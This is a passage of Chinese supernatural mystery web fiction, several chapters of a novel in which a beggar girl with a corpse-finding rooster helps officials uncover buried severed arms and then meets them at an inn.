尖锐的鸡嘴砸吧了一下,对着三枚用来绑住瓷碗和掌心的无五彩绳就是一叨,从端头开始,狼吞虎咽地咀嚼了起来。 “咔吧、咔吧、” 没甚奇特的咀嚼音,邢正却起了一身的鸡皮疙瘩,不动声色挪到陆衎的身边,却见他一双冷眸正紧盯着那一身狼狈的小乞丐。 “陆在野,你、” “嘘!” 陆衎左手按住腰佩,神情警戒,快速朝四周扫了一眼,“起风了。” 起风? 尽管什么都没感觉到,邢正还是迅速进入了战斗状态,他马步一扎,左手紧握牛尾刀的刀柄。 “咔吧、咔吧、” “咔吧、咔吧、咔!” 终于等八耳将五彩绳全部咀嚼进肚,三枚将倒扣的瓷碗放到地上,伸手抓了把黍米扔进碗里。 八耳见状,猩红的鸡眼滴溜溜转了一圈,瞬间就温和了下来。 踉跄地踱了几步,“咔吧”咬住了碗沿,晃悠了一下才缓缓转身。 它摇摆着身子开始踱步走远,想酒鬼一样走路不稳,碗里的黍米一粒却都没有掉。 走啊走啊走,走到三枚先前所指的断头古榆树前,八耳突然停住了脚步,像上了年纪的老大爷一样,仰头打了个巨大的响嗝。 再次走动起来的时候,碗里的黍米开始掉落了,一边掉一边走。 三枚估算了下时间,伸手往地上一捞,却捞到了空荡荡的包裹,低头一看,装黍米的油纸不见了。 再抬头就见陆衎跟在了八耳的身后,朝自己扬了扬抓在手里的黍米。 四目相对,三枚意外地挑了下眉,半晌后点头,示意他将黍米倒入碗里。 又开始了! 这两人......又眉来眼去开始打哑谜了! 明明上一刻还朝自己示意警戒四周,结果邢正才刚一转头,人就不见了。 “跨擦”拔刀,邢正不甘被两人排除在外,小心避开醉酒的八耳,他舞着大刀,哐哐开始除草断根,忙前忙后瞬间就理出了一片空地来。 如此一来,倒是方便了醉酒的八耳转圈做标记。 大约半刻后。 当陆衎正好将最后一点黍米倒完,八耳堪堪倒地的瞬间,“咣”的一声闷响,小气泡骤然破碎。 三枚脚边的木箱子,也跟着发出一声“嗡”的响声,顶面的裂缝不知何时已然愈合。 乍眼一看,严丝合缝,一点裂痕也没有。 “哗啦啦!!” 如柱的雨水穿过茂密厚重的树冠,猛然从天而降,稀里哗啦浇落地面,瞬间就把几人淋成了落汤鸡。 三枚站在树桩上,小手一挥,指着八耳用黍米圈起的一大片土地。 “挖!” 此时,恰好一群带刀青袍衙役姗姗来迟,每个人的手里都拿着一只铁锹,有的人肩上还扛了一把锄头。 乍然听见一声陌生的喝令,俱都愣了一瞬,隔着雨幕,纷纷将目光投注在邢正的身上。 邢正被看得黑脸一懵,习惯性看向陆衎。 陆衎一手揪着鸡翅膀,一手拿着破瓷碗,蹙眉看向完美闭合的大圆圈,和里头密密麻麻的小圆圈。 雨势强猛,狠狠地拍打在地上,却冲刷不动地上的黍米。 他的心中忽而涌起一股不祥的预感。 地下埋着的,会是薛婉茹吗? 圈了这么大的一块地盘,难道埋的,不止薛婉茹一人? 看着与自己相对而望、不住拿手背抹去脸上雨水的三枚,陆衎长腿一迈,几步就来到了她的面前。 两人对视一瞬,陆衎将手里的东西,一股脑塞进她的怀里。 拽下马背上的斗笠,一把扣在三枚的头上,他转身下令:“挖!” 尽管不明所以,青袍衙役们在邢大捕头的带领下,认命地对着那用黍米围着的小圈子挖了起来。 不一会儿,有个年轻衙役突然大叫一声:“啊!” “手!”他指着地上,“我挖到了一解手臂!” “大人,我这里也挖到了一截断臂!” “我也挖到了,也是一截断臂!” “啊,这里也是一截断臂!” “这里也有一截!” “我也挖到了!” “我挖到的是骨头,看形状好似也是手臂......” “......” 衙役的声音接二连三地响起,随着越来越多人挖到断臂,众人的声音从一开始找到线索的激动,逐渐转成了惊恐。 挖出来的都是一截一截的断臂,而且都是左臂...... “在野,这......”邢正双拳紧握,手背青筋毕现,看着陆衎欲言又止。 陆衎仔细确认完从地下挖上来的断臂,抬头朝远处一望,却不见了三枚的身影。 他冷眼扫了 6. 神秘的得道高人 《棺椁摇梦铃》全本免费阅读 合该是气清景明、万物皆显的好节气,眧州城却整日刮风乱雨,淅淅沥沥,没完没了。 因两日前盛传的,郊外密林里挖出了近百截断臂的小道消息,平时人声鼎沸的主街西口,如今空空荡荡,不见人烟。 长街两旁的商铺皆是门窗紧闭,只一家名为云客来的酒楼还开着门。 然而云客来也是好久不来客了,店里的伙计日渐懒怠,门口的两边门板才只卸了一半,便不知又跑到哪里偷闲去了。 大堂里空无一人,只剩掌柜一人趴在柜台上,哈欠连天,肥嘟嘟的上下眼皮狠狠掐完一架,最后抵不住困意,缓缓一合,瞬间就打起了盹。 “嗒嗒。” 酒楼铺在门边的地毯上,踏进了一双满是泥泞的麻线鞋,左右鞋头均破了个大洞,露出里头黑乎乎的脚丫子。 破烂麻线鞋的主人,正是三枚。 她浑身湿透,满脸狼狈,脸上的神情却淡然得很。 进门的时候,很有自觉性在地毯上轻轻地踩了两下,将鞋底的泥泞停留在地毯上,才慢慢踱步至柜台前。 “叩、叩、叩。” 骨节分明的食指微微曲起,有节奏地对着柜台敲了三下。 “掌柜的打扰了,在下是包老板的朋友。” 掌柜的睡得迷迷糊糊,听声音,来客是个姑娘,说话时字正腔圆,听着却有些别扭,像是硬装出来的标准官话。 但她的音调明快清亮,裹着小姑娘独有的稚涩甜脆。 听在乏困非常的掌柜耳里,却是又烦又躁,他眉头狠皱,不耐烦地“啧”了一声,接着头也没抬眼也不睁,嘟哝道:“谁?” “包有料。” 哦,掌柜伸出肥厚的手指随意向后一指。 “包有料,二楼左转,雅间天字一号房。” 顿了一瞬,耳边又窜进小姑娘清脆的声音:“有劳了。” 紧随其后,又溜进了一声诡异的“咯咯哒”。 趴睡着的掌柜掏了掏耳朵,奇怪地嘟囔道:“见鬼了,哪来的鸡叫声。” 等等,现在眧州还有姑娘敢只身一人上街吗? 包有料......这名儿怎么听着这么耳熟呢? 平时精明会来事的大掌柜,脑子早就被困意糊成了面浆,忍不住又打了个巨大的哈欠,最终还是抵不住甜蜜黑甜乡的诱-惑,沉沉地睡了过去。 得了指引,三枚啪嗒啪嗒踩着雅致的木梯上楼,左转循着廊道走到底,最后站在了挂牌“天字一号”的雅间门口。 麻线鞋露出的脚趾曲折,用力地扣了扣鞋底,她在心里默数了三个数后,右臂微微抬起,依旧十分有节奏地扣响了房门。 “叩、叩、叩。” —— 云客来二楼,雅间天字一号,是一间常年专供本地世家名流宴请聚会的厢房。 房间格调清逸雅致,一色的紫檀缠枝桌椅,纹理细腻耐看,各处摆设错落有致,古风雅韵,令人赏心悦目。 陆衎穿着一身佛头青的素面杭绸,斜倚在长榻上临窗煮茶。 他的长相俊美,看起来更偏文人雅士那一挂,只不过他眉眼生得太冷太过锋利,周身气场又看起来分外强硬,攻击性十足,简直生人勿近。 任职大理寺少卿不足两年,他身上的威压日渐趋升,单凭那身骇人的气势,一看就是杀伐果断、手起刀落的狠厉之人。 然而此时的陆衎,手中却捻着佛珠,面色松淡,姿态悠闲,懒懒散散地倚在榻上。 他偶尔眼帘低垂,专注地盯着袅袅升腾的朦胧蒸汽发呆,偶尔眼睑微抬,瞥一眼窗外细雨如丝的空旷长街。 雨林一别,已是两日过去了,三枚仍未现身。 那日至傍晚时分,从郊外挖出来的断臂,足足三十六截,在县衙停尸房摆了一地。 陆衎离开前,派驻在小径路口的护卫,守了一夜,却不见有人出来过。 得到消息,陆衎不再犹豫,连夜冒雨出城,举着火把独身一人便进了小径。 然而那小径只是看着幽深,其实就一小段路程,尽头同样是一片杂草荆棘,不见一个人影。 平平无奇,没甚特别。 陆衎心里有强烈的预感,那个聪明、像是能看透人心的姑娘,定然在这里留下了她的痕迹。 很大可能,跟午时那般圈地画圆。 这样想着,陆衎已经动手扒开人高的草丛,不放过一个地方,仔细地在地上寻找了起来。 他尽量扩大范围,有规律地绕着圈子,走了好一会儿,突然脚下一绊。 剑眉微蹙,陆衎伸手压下柔软而厚实的绿叶,将手中的火把凑近一看,就见细细绿茎根部,缠着如蛛丝一样的五彩薄网,薄网的中心一点红,仿佛朱砂痣般,显眼醒目。 只一瞬,陆衎便认出了这是白日里邢正带过来的五彩绳。 当时被那刁蛮的稚鸡嚼吞入腹,现下竟散成了薄如蝉翼的丝线,圈在了地上。 陆衎霍然起身,当机立断召集人手,连夜深挖。 果然,五彩薄网圈起的地方,又挖出了三十六截或腐烂或肿胀的断臂。 然而从始至终,却不见三枚的影踪。 “淅淅沥沥,淅淅沥沥、” 陆衎望着窗外的雨幕发呆。 距离他位置三米距离的右手边,是一张檀木缠枝净几,坐着的,正是邢正。 他的腰板挺得笔直,正在自我对弈。 二人的身后,镇国大将军府小世子裴元,双手托着下巴歪靠在大圆桌上,一会儿看看自斟自饮的陆衎,一会儿瞧瞧装模作样的邢正,末了百无聊赖地打了个哈欠。 一室静谧,三人各坐一角,看似互不干扰,实则各有心思。 少顷,茶炉里的水沸了,咕噜噜地冒泡叫嚣了起来。 裴元一双迷人的桃花眼眨了眨,终于忍不住,率先打破了沉默。 “我说安然,你个脸黑如炭的大老粗,就别装了吧。连五子棋都下不明白的榆木疙瘩!” 明明对棋艺一窍不通,非得在陆衎面前现眼,手上捏的黑子举半天了,也没见落下几回。 邢正偷偷往陆衎那儿瞥了一眼,转头瞪着裴元,心想:老子为了你舍命相陪,你这厮竟然拿我开刀! 裴元双手合十,眼睛抽筋一样眨个不停,用气音小声道:“拜托拜托!” “哼!” 邢正最后索性将黑子一扔,伸了个懒腰,配合他道:“你说的那个包老板,靠谱吗?” “靠谱不靠谱,总归试试就知道。” 裴元打了个哈欠,“你是做捕快的,应该很清楚,三教九流虽说上不了台面,但往往有些关键消息,都在这些人的手里捏着呢。” 邢正翻了个白眼,心说我个市井草民出身,不比你个不食肉糜的世子爷更清楚这些弯弯绕绕?! 做捕快这么些年,为了查案抓捕犯人,邢正跟什么人都打过交道,心里比谁都明白“鼠有鼠洞,蛇有蛇路”的道理。 “我是怕你被那个什么所谓的包老板骗了。” 少女失踪案事发后,从外地跑来眧州浑水摸鱼,坑蒙拐骗的混账可真不少。 现在又衍变成了断臂大悬案,眧州更是成了外地人茶余饭后的消遣,什么三教九流的人,都想过来插一脚,企图将水搅得更浑。 裴元意味深长地摇了摇头,“包老板拜的可是百晓生。” “百晓生晓得吗?上知天文下知地理,通古晓今,无所不知无所不能。这世上,只有你不知道的江湖消息,就没有他门下人打听不到的隐秘丑闻。” 说得这么玄乎,邢正牛眼一瞪,更觉得那包老板是个江湖骗子了。 裴元却没将他的态度放在眼里,一双好看的桃花眼偷偷觑了陆衎一眼又一眼。 他 7. 再见 《棺椁摇梦铃》全本免费阅读 裴元被陆衎问得一愣,一手撑着下巴作思考状:“姓什么我倒是没多问,但包老板说那高人,是什么寻尸人。” “寻尸人?”邢正听得一头雾水,“什么寻尸人?” 听着好耳熟...... 哦!那个不见了的小乞丐,曾经说过自己在替什么人寻尸。 想到这里,邢正偷偷往边上瞄了一眼,他隐约猜测,这两日陆衎心情不佳的原因,就在那个小乞丐的身上。 陆衎提起咕噜噜冒泡的茶炉,漫不经心地道:“顾名思义,寻找死人的尸首。” “没错!就是这样!” 裴元大腿一拍,也不管陆衎口中所说的寻尸人跟包老板介绍的是不是一伙人,反正就是激动。 邢正白眼又一翻,接着粗眉皱成一团,喃喃道:“仔细想想,还真挺玄乎。” 裴元选择无视邢正这货的嘀咕,朝着陆衎,“包老板说,他能给我当回中人,将这位高人,引荐给我。” 抢在一脸欲言又止的邢正前头,他连忙又补了一句:“当然,在这种时候,咱也适当地利用了身份对其进行了深深的威吓。若是这包老板明知你我的身份,还敢骗我坑我,也得算他有种不是?” 邢正瞪眼:“什么你我,你自己爱做冤大头,关我和在野甚事?” 裴元表面大翻白眼,心里想的却是,陆衎暂且不提,就凭邢正的性格,是绝不可能眼睁睁看着自己的一万两银票就此打水漂的。 包老板若真是骗子,那他就是逃到天涯海角,邢正也能想着法儿,让他硬生生脱下一层皮来! 自认总是被兄弟们偏爱着的裴元,是有恃无恐,反正怎么算自己左右都不吃亏。 陆衎这时又开口了:“但序家有个规矩,只接受死人委托。” 寻常时候大多隐居深山,从不轻易涉世。 裴元狡黠一笑:“规矩是死的,咱们代替死者,向他提出委托,怎么不算是另一种形式的,死人委托呢?” 被自己的诡辩聪明到的裴元正偷着乐呢,房门外忽而响起了十分有节奏的敲门声。 “叩、叩、叩。” 长袖一挥,裴元嘴巴往门边一撇,言笑晏晏:“喏,来了。” 猝不及防,陆衎心脏猛然一颤。 会是她吗? 那日说的有缘再见,指的是今日吗? 陆衎攥着茶杯的手蓦地收紧,脸色却冷得异常。 察觉房内气压莫名骤降,裴元咽了咽口水,努力端着一脸谦润温和的笑脸,故作轻松起身开门。 “你——咦,人呢?” 余光向下一扫,双眼好似被脏东西突袭了一般,裴元瞪大双眼,脱口而出:“吓!哪来的小乞丐?!” 只见门口站着的人,个头不及他胸口,头顶一团凌乱潮湿的发髻,额前碎发紧贴,脏兮兮的小脸就剩一双明亮的大眼睛还算清澈。 小乞丐身材瘦小,一身洗得发白磨毛了的灰色粗布长褂,领口处还打了两块褐色补丁,她的左手掌心,还托着一只边沿缺口的破瓷碗。 裴元眉头紧蹙,这不活脱脱的叫花子吗?! 他瞬间勃然大怒:“云客来是怎么回事,怎么什么人都放进店里来?!” —— 门口站着的,正是三枚。 莫名被人劈头盖脸一喝,她一脸淡然,面不改色心不跳,自认特别和善地对着裴元咧嘴一笑,露出了左右对称的小虎牙,尽量佯装得俏皮可爱一点。 “公子午安。” 是她! 陆衎瞬间便听出了三枚的声音,眉尾一挑,手中瓷器一放就要起身,下一秒像是想到了什么,将微扬的嘴角一压,悠悠然又靠了回去。 被挡在门口的三枚一无所知,面对一脸嫌弃的裴元,脸上始终挂着“和善”的微笑,自以为将自己包装得十分完美。 然而这笑,看在裴元的眼中,却是成了狞笑,十足诡异的狞笑。 特别是乍然响起一声嘹亮的“咯咯哒”,诡异感达到了高峰,吓得他不由自主倒弹一步。 裴元好不容易压下心头的暴躁,定睛一瞧,发现这小叫花子的怀里,居然还抱着一只紫色单冠、通体乌黑的小野鸡。 不,不是抱着。 那野鸡鸡爪抓着她的小臂,竟是自己站着的。 见裴元一脸惊讶地盯着它看,小野鸡竟高傲地头颅一昂,小眼一翻,脖子一梗,末了还哼了一声。 一套组合下来一气呵成,好像对于裴元的打量非常嗤之以鼻:“哼,少见多怪!” 嘿,成精了这是! 小乞丐还不止手臂上站着只公鸡这一处诡异,她的右手握着一柄昏黄纯色油纸伞,大致一扫,也是把破烂的旧伞。 但奇怪的是,这伞居然是干的。 外头街上明明下着雨,小乞丐淋得全身洇湿,可那油纸伞,却不见丝毫湿漉。 下雨天,有伞不撑,把自己淋成了落汤鸡,怕不是脑子有病?! 再往下看去,裴元头皮瞬间发麻。 这小乞丐脚上踩着的麻线鞋,又是泥又是土的,湿湿嗒嗒黏黏腻腻,从破鞋头伸出的脚趾,也是乌漆嘛黑的。 估计随意从哪座破庙拉出一个乞丐,都比她这个小叫花子得体吧。 裴元皱着眉头,屏住呼吸,在腰间左摸摸右摸摸,最后从荷包里掏出了几两碎银,扔到了那个小破碗里。 他赶苍蝇一样赶人:“去去去。” 一点没注意到碎银被扔进碗里后,竟是丝毫声音也没有发出。 碎银落瓷碗,无声也不响。 恰好被邢正看了个正着,然而来人被裴元挡了个严严实实,他也只能看到个大概。 “哗啦!” 沸水与茶叶相碰,撞出了满室的茶香,清液缓缓地注入瓷杯,清芬四溢。 忽而风吹拂过,陆衎倒茶的动作,蓦然顿住。 他的眼尾微抬,余光瞥见邢正看着门口,一脸凝重严肃的黑脸,显然还没认出三枚。 陆衎仰天深呼吸了一口气,闭上眼无奈地摇了摇头。 令朝第一武状元,只能蜗居在一个小小的、偏僻的府洲当个大捕快,是因为邢正对自己的故乡爱得深沉? 非也。 是邢正这厮,走马上任第一天就将太子和三皇子这两个死对头认错,差点给侍卫处闯下大祸大祸,当夜就被从部门踢走,第二日还被参了一本。 接着他就成了烫手的山芋,被踢来踢去,一级一级往下贬,从御前大侍卫,最终被贬回了自己的故乡眧州,成了一个地方大捕快。 陆衎没想到,邢正当年栽了这么大一个跟头,这么多年过去,连人脸都认不了的毛病,竟是一点没改。 耳朵突然觉得有点痒,邢正快速挠了挠,努力端着一脸威风凛然的严肃脸。 裴元却还堵在门口,瞪着小叫花,一脸凶神恶煞的模样。 三枚看着碗里眨眼就多了几粒碎银子,先是愣了一下,接着便乐了。 城里人就是大方,这几天总是天降横财啊! 开门彩,好兆头! 眨了眨眼睛,她忍不住喜上眉梢,她舔了舔有些干燥的嘴唇,高兴得尾音都飘出了乡调。 “这、初次见面的,多不好意思哈。”说完又舔了舔嘴唇。 斜倚在窗边的陆衎心 8. 第 8 章 《棺椁摇梦铃》全本免费阅读 “啪嚓!” 裴元打开折扇,桃花眼半眯,好似嗅到某种不可言说之气味。 斜睨了陆衎一眼,裴元问:“认识?” 漫不经心瞥了三枚一眼,陆衎垂下眼睑,自顾提水煮茶,高冷地谁也没理会。 三枚笑笑,转而朝盯着自己一脸沉思的邢正,道:“邢捕头,别来无恙呀。” 眼熟的小野鸡,别扭的眧州方言,一下子就触到了邢正粗钝的神经上最敏锐的一点。 “啪!” 用力地拍了下大腿,邢正指着三枚激动地道:“你!还有这稚鸡!” 朝陆衎的方向疾走两步,拍着手说:“她、是她啊,雨林里走失的小乞丐!她回来了!” “陆在野今晨还守在郊外雨林,就是为了——” “铛!” 瓷器相碰的脆响,陆衎不经意地撩起眼皮扫了邢正一眼。 只一眼,就将邢正未完的话直接扼杀于腹中,他的身子一僵,凉凉的寒气自脚底席卷全身,虽然不知道自己说错了什么话,但还是不自觉抿紧了双唇。 裴元视线从三枚身上,扫过邢正的黑炭脸,直直地落在慢条斯理清洗茶具的陆衎身上。 陆衎气定神闲,动作娴熟地煮起了新茶。 一时没人再开口说话,屋内陷入了沉静,只余窗外淅淅沥沥的风雨声,气氛莫名有些许的凝滞。 折扇轻摇,水光盈润的眼珠子滴溜一圈,裴元示意三枚落座,脸上端着假笑,客气道:“怎么称呼?” “三枚。” 裴元一愣,脱口而出:“三没?哪三没?” 开玩笑呢吧,谁家爹娘给亲生孩子取名叫三没的呀。 在陆衎面前讨了个没趣的邢正,登时找到了释放情绪的目标,将矛头对准了裴元。 “咋咋呼呼的,一点不沉稳。有点文化好吗?人起名字都是梅花的梅,你想哪儿去了!” 转头看着三枚,邢正无奈摇头道:“这小子书读的少。” 莫名挨呛的裴元先是一愣,反应过来后折扇拍得劈啪作响。 “嘿,好你个邢安然,骂谁没文化呢!” 邢正早没了之前端着的肃穆沉稳,白眼一翻:“说的就是你。” 裴元:“嘿,你个常年吊车尾的差生,竟敢说爷没文化!” “爷顺利结业出师了。” ...... 两个大男人吵得不可开交,三枚饶有兴趣地看着两个五大三粗的大男人斗嘴。 偶尔跟臂上的八耳对视一眼,三枚心说:“城里人,可真有趣呢。” 看着看着,她的目光情不自禁又转移到了陆衎的身上。 那日相遇,又是滂沱大雨又是荒郊野外的,而且状况百出,各种急切混乱情绪夹杂在一起,最后分手的时候,三枚脑中对陆衎只有一个印象——一个对自己没有任何偏见且愿意释放自己善意的好人。 岂料今日一瞧,才知道原来陆衎陆少卿,竟长得如此英俊潇洒、气宇轩昂! 三枚看着陆衎的眼神有些迷离,出神地感叹:世上怎么就有这么好看的人呢。 她小心翼翼地朝陆衎的方向挪动了几小步,声音清脆悦耳地对他说道:“不是梅花的梅哦。” 吵得热火朝天的裴元耳朵挺尖,闻言咋舌:“蛤?还真是无有的没呀?!” 三枚摇头,视线仍旧黏在陆衎的脸上,“是不胜枚举的枚呢。” 见陆衎没反应,看都没看自己一眼,她皱了皱鼻子,心想:老爹果然说的没错,城里人的眼睛都长在头顶上。 才两日不见,竟然就装作不认识自己了! 她低头理了下身上的衣裳,难道跟刚才开门那小白脸一样,嫌弃自己的穿着打扮寒酸磕碜? 这么一想,她顿时就对陆衎失去了兴趣,继续乐呵呵地看着不远处正互相干瞪眼的两人。 “哼,现眼!”邢正忍不住嗤了一声。 裴元双手叉腰:“你不也没说对吗,少在那边五十步笑百步。” 眼看又要吵了起来,陆衎漫不经心地抬起眼皮撩了两人一眼,斗嘴的两人瞬间便消停了下来。 他的目光最后在三枚气鼓鼓的侧脸上转了一圈,挑了挑眉,很快收回了视线。 “咳咳,”邢正瞪了臭脸的裴元一眼,“你认识包有料吗?” 三枚点头:“嗯。” 清澈的杏眼眨呀眨,她悄咪咪又偷看了陆衎一眼。 她新奇又出神地看着煮茶的陆衎的动作,居然还能一心二用地回答问题:“我初到眧州之时,人生地不熟的,听说包老板神通广大、人脉极广,于是慕名找上了门。” 裴元心里隐隐有些不安:“找上了门?” 你一个得道高人,怎么是自个儿送上门的? 温暖的室内,令人困意丛生。 这阵子总是睡不好的三枚,忍不住打了个又大又长的哈欠,好一会儿才看向裴元。 “嗯,我上门买消息去的,当时交了定金,今儿就是来找包老板要消息的。” 说完从怀里掏出了文书,递给了边上的邢正,“包老板这人还是挺讲究的,还给我写了张书契。” 邢正接过来看了一眼,放到了桌上,脸慢慢地沉了下来,“包老板,果然是个骗子,两边忽悠这是。” 三枚歪了歪头,又跟怀中的八耳对视了一眼。 “咯咯哒。” 三枚憋笑:“嗯,他这脸一沉,跟黑炭是没什么两样哩。” 不知一鸡一人心里对自己的腹诽,邢正转头盯着裴元:“你怎么说?” 裴元的脸色早变了,短暂的静默过后,再开口时语气全是不耐烦:“这该死的包老板!也给我签了张书契,收了我五千定金!” 还好当时自己留了个心眼,只付了定金! 五千! 没想到还是个有钱的小白脸! 城里人,就是有钱哇,出手这么大方! 三枚双眼瞪大,看着裴元的目光瞬间就变了,“我就买个消息,给了五个铜板罢了。” “什么!” 裴元拍案而起,手中折扇都拍断了。 前头说不怕被骗有多潇洒自信,现在得知自己不仅真被骗了,还是冤大头中的大冤种,裴元的一颗心差点气爆! “妈的,竟敢戏弄老子!” 转身打开房间,高声大喊亲卫:“平山!即刻出动所有暗卫缉拿包有料!” 话音落地,廊道地上已是跪了个黑影,沉声应道:“是,属下遵命!” “啧。”邢正同情地看着裴元气急败坏的背影,转头对着三枚说道:“你是不知道,他——” “咦,”三枚忽然伸手指着陆衎身边的茶炉,“水沸了。” 像是要响应三枚的话一般,她的话音刚落地,炉子里的水恰好滋滋往上冒泡,真的慢慢地沸腾了起来。 陆衎一愣,好似终于舍得抬起他高贵的头颅,侧眸看了三枚一眼。 三枚一张花猫似的小脸笑成了花,瞬间就将“城里人眼高于顶”的不忿抛诸脑后。 “啊,我还没跟你介绍过吧,”三枚热情地把站在自己小臂上的八耳,往陆衎的方向送了送,特别自傲地介绍道,“八耳,寻尸的好手!” 八耳像是听懂了三枚夸奖自己的话,闻言立马昂首挺胸,雄赳赳地抖了抖头顶的鸡冠,特别响亮地嚎了一声:“咯咯哒!” 陆衎:...... 六目相对,空气刹那间安静了下来,尴尬弥漫。 短暂的静默过后。 “噗嗤!” 不知何时已经回到房间的裴元,被突如其来的诡异画面逗乐了,眨眼就忘了自己还在暴怒的情绪,忍不住笑出了声。 邢正刚咧嘴要跟着笑,瞥见陆衎余光幽幽地往自己的方向扫了一眼,立马抿紧嘴噤声,悄悄地站到了裴元的身后。 三枚却仿佛孔雀开了屏,灵活地活动着右手握着的油纸伞,以腕为轴心,在头、胸、肩上方平圆快速地绕转一周。 做完一个极其漂亮的云挽花动作,她睁着一双亮晶晶的眼睛,目光炯炯地紧盯陆衎。 一张脸写满了:“没想到吧,我还会武功呢,快夸我呀!” 等了好一会儿,都没能从陆衎的眼里看出自己想要的惊艳神色,三枚有些挫败,脸颊鼓鼓地转头找了一圈,最后将视线锁定在脸黑如炭的邢正身上。 邢正被她哀怨、又充满期待的复杂眼神看得莫名紧张,不自在地挠了挠脑袋,尔 9. 第 9 章 《棺椁摇梦铃》全本免费阅读 三枚下巴朝手中的瓷碗一抬,意思让他把银子朝碗里扔。 裴元一脸狐疑,一个破碗,能发出铃声? 邢正也皱眉,明明方才在门口,子钰朝瓷碗里丢碎银的时候,一点声响都没有的...... 习惯使然,一旦遇到心里没底的时候,他总会下意识地看向陆衎。 却发觉眸中一向漠然又常含隐秘杀气的陆衎,正眯着眼睛饶有兴趣地盯着三枚的背影,眼尾泛着危险的笑意。 他手中的佛珠不知何时放到案几上,反而摩挲起了指腹,缓缓地捻转着。 这个动作,邢正曾经在学院的时候见过。 当年授衣之试,陆衎差点一剑刺穿守关老师心脏,却在最后时刻猛然从癫狂中惊醒过来,之后他一言不发,离席而走。 邢正怕他独身一人会出事,悄悄跟了出去,没多久便将人给跟丢了,后来找了一圈,才在独木林的墓碑上发现了人。 随意地靠坐在地上的陆衎,鬓发微湿,低头垂眸,背影看着有些孤独,像是被淡淡的忧郁包裹着。 那个时候,他也是这么摩挲着指腹的。 一下一下的,缓而慢地,轻轻摩挲捻转着。 第二天陆衎的腕上就多了串楠木念珠,邢正之后也再没见过他摩挲指腹的动作。 然而现在,陆衎却放下了佛珠...... 忽而打了个冷颤,邢正的喉结上下滚动,视线不由自主地重新转移到了三枚的身上。 这两人之间,一定发生过什么! 身上的探究视线,炙热而明显,三枚却不以为意。 此刻的她神情专注,眼睛紧盯着裴元,极轻地挑了下眉,“请。” 受不得激的裴元咬牙切齿,哼了一声,作势就要将手中的碎银扔向三枚。 却在最后一秒的时候改变了主意,转而将碎银轻轻地放到了碗沿,轻轻往里一推。 摆脱束缚的碎银,立时朝着碗底翻滚而下。 小小的银子,没有阻碍,咕噜噜十分顺滑地滚到了碗底。 “怎么没有声音?”裴元奇怪地道。 所有人的视线紧盯着破瓷碗,耳朵高高提起,就等着听三枚方才口中的音铃是如何作响的。 一秒、两秒、三秒...... 三秒过去了,无事发生。 裴元脸一黑,以为这小叫花子又框了自己一顿,张口就要开骂。 “嘘!” 三枚神秘兮兮地,示意裴元看向碗底。 原本安稳滚落碗底的碎银,不知何时突然竖立,一滚一滚地滚到了角落。 空气中忽而“叮铃”一声,像是释放了一个信号,那碎银随着响动,沿着碗臂渐渐地转动了起来。 与此同时,窗外狂风大作,连绵细雨转成了瓢泼大雨,哗啦啦敲打在窗扇上,啪啪作响。 自碗底传来的铃响,清脆的、小小的、细细的,却是连狂风暴雨也掩盖不住的声音。 铃铃啷啷、叮叮铃铃,时而舒缓,时而激越,起起伏伏、毫无规则...... 裴元听得半边头皮发麻,宽袖下的双臂,起了密密麻麻的一层鸡皮疙瘩,直到铃声停止,都没能消退。 音铃止息,狂风暴雨随之渐渐消缓,又变回了先前的柔和细雨丝丝。 裴元回过神后,才惊觉后背竟是都汗湿了一片,现在再看那个破瓷碗,眼中的轻蔑鄙夷霎时烟消雾散。 不止他,就连一身刚正之气的邢正,都暗暗地松了一口气,一时竟是都不敢轻易出声。 被音铃之声震慑住的两人,不约而同对视一眼,均在对方眼里看见了不可思议的情绪。 想到了方才三枚求夸的恳切眼神,裴元给邢正使了个眼色,意思让他好好组织组织语言,大夸特夸一顿好话把人砸晕了再说。 邢正瞪了他一眼,抬头正要开口,却被三枚脸上的凝重神情给唬了一跳。 再顾不得使心眼,连忙问道:“怎么了?” 三枚抬眸,脸上又恢复成了原先的淡然微笑,左臂轻轻一抬,“八耳。” 站在她臂上的小公鸡闻言,尖锐的小嘴叼住破瓷碗里的碎银,振翅一拍,竟是朝着窗户外猛然一跃。 “诶——”裴元指着窗外,“这是?” 邢正嚯地一下也跟着往上一窜,中途猛然顿住,转头看向陆衎。 三枚却是对着邢正点了点头,“去吧。” 陆衎幽深的眼眸轻轻一晃,微微颔首。 得了示意的邢正立马扒开挡路的裴元,撑着窗棂“咻”的一下,跳窗追去了。 “安然,你作甚去?”裴元半个身子都探出了窗外,大喊道。 邢正没有理会他,三两下就窜不见了影踪。 裴元挣着下巴,沉思了几瞬,转身却见三枚不知何时竟是坐到了地上。 “这房里这么多位置,你怎么偏偏坐地上去了?” 三枚笑眯眯地抬头,“你不嫌我脏啦?” 裴元一噎,竟是哑口无言。 “呵。” 陆衎轻笑出声,身子歪靠到背后松软的靠枕上,一手撑着脑袋,浅浅地啜了一口清茶,冷锐的眼眸缓缓地闭上。 一个时辰后。 再次出现在雅间的邢正,全身湿透,头上还顶着一只通体乌黑的八耳。 他气喘吁吁,在裴元炙热的注目下,缓缓地举起了手中有些破旧的天青色油纸伞。 “云客来的后院厢房里,又发现了薛婉茹的油纸伞。” 陆衎猛然睁开双眼,眸中的猩红杀意一闪而过,继而被清冷漠然取代,他缓缓地看向邢正举着的油纸伞。 忽而又看向了坐在地上的人儿,神色若有所思。 裴元盯着邢正手中的油纸伞,眨了眨眼后,又定定地看了眼陆衎,最后低头对着三枚道:“就一把油纸伞?人呢?难道说薛婉茹还活着?” 三枚摇头,十分笃定地道:“死了。” “那......尸体呢?” 盘腿坐在地上的三枚,好似没有听见他最后一个问题,自顾左臂高举,托着破瓷碗伸向了趾高气昂站在邢正脑袋顶上的小公□□耳。 八耳见状,立马挥翅飞向了三枚,稳稳地落在了她的小臂上,小嘴一张,吐出了嘴里含着的碎银。 碎银再落瓷碗,仍旧不响也无声。 碗口往袖口一倒,三枚转头,清亮的双眸直接对上后头陆衎探究的视线。 半晌之后,始终缄默不语的陆衎,终于舍得开金口了:“怎么回事?” 薛婉茹的油纸伞,已在两日前雨林里寻到,怎么还有一把? 这是自三枚进屋后,他开口说过的第一句话。 三枚嘴角翘得老高,在心里忍不住呜呼感叹不已:又听到这么好听的声音了。 这城里人就是不一样啊,长得不仅好看,连说话的声音,都是如此的动听迷人! 心情大好的三枚,忽而抿嘴一笑,将臂上的八耳抖落在地。 八耳不设防,踉跄了几步才堪堪站稳,气势汹汹地朝三枚抗议:“咯咯哒!” 残忍的人类,竟然过河拆桥! 三枚没工夫理会它,径直把破瓷碗往地上一放,对着陆衎拍了拍自己的肚子,施施然道:“我饿了呢。” —— 